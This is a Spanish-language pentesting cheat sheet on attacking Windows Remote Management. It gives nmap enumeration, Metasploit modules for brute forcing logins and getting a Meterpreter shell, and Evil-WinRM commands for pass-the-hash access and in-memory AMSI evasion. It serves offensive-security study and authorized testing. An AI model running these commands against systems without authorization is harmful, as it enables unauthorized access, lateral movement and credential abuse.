Skip to content

🖥️ WinRM (Windows Remote Management)

WinRM es la implementación de Microsoft del protocolo WS-Management, que permite la administración remota de sistemas Windows a través de HTTP (puerto 5985) o HTTPS (puerto 5986). En entornos de Active Directory, es el método preferido para ejecutar comandos de PowerShell de forma remota y es una alternativa moderna a SMB/RPC (PsExec).


🚀 Conceptos Clave

Para que WinRM sea explotable, debe estar habilitado en la víctima (Enable-PSRemoting). Utiliza autenticación Kerberos o NTLM por defecto, lo que lo convierte en un vector excelente para ataques de Pass-the-Hash o movimiento lateral si ya posees credenciales.


🔍 Enumeración y Fuerza Bruta

Antes de intentar ejecutar comandos, debemos confirmar que el servicio acepta conexiones y, si es posible, obtener credenciales válidas.

1. Identificación con Nmap

bash
nmap -p 5985,5986 --open <IP>

2. Metasploit: Escaneo y Login

Metasploit ofrece módulos para verificar el acceso y realizar ataques de diccionario:

  • Identificación: auxiliary/scanner/winrm/winrm_auth_methods. Permite saber qué tipos de autenticación (Basic, Kerberos, Negotiate) soporta el servidor.
  • Fuerza Bruta: auxiliary/scanner/winrm/winrm_login. Prueba combinaciones de usuario y contraseña para ganar acceso.

🚀 Explotación

Si ya tienes credenciales (usuario y contraseña o Hash NTLM), puedes usar Metasploit para ejecutar código sin necesidad de una shell interactiva tradicional.

1. Ejecución de Comandos Individuales

El módulo auxiliary/scanner/winrm/winrm_cmd permite ejecutar un comando específico en el objetivo y recibir la salida. Es ideal para una enumeración rápida post-login.

bash
use auxiliary/scanner/winrm/winrm_cmd
set RHOSTS <IP>
set USERNAME <usuario>
set PASSWORD <contraseña>
set CMD whoami /priv
run

2. Ejecución de Scripts y Obtención de Shell

El módulo exploit/windows/winrm/winrm_script_exec es más avanzado. Sube un script de PowerShell que se ejecuta en memoria para devolverte una sesión completa de Meterpreter.

bash
use exploit/windows/winrm/winrm_script_exec
set RHOSTS <IP>
set FORCE_VBS true  # Útil si PowerShell está restringido
set USERNAME <usuario>
set PASSWORD <contraseña>
exploit

🛠️ Herramientas Alternativas (Evil-WinRM)

Fuera de Metasploit, la herramienta de referencia para este servicio es Evil-WinRM. Es extremadamente potente para el movimiento lateral y permite cargar scripts directamente en memoria para evadir antivirus (AMSI Bypass).

bash
# Conexión con contraseña
evil-winrm -i <IP> -u <usuario> -p <contraseña>

# Conexión con Hash (Pass-the-Hash)
evil-winrm -i <IP> -u <usuario> -H <hash_ntlm>

Sin copyright ni nada. Ház lo que quieras con todo esto.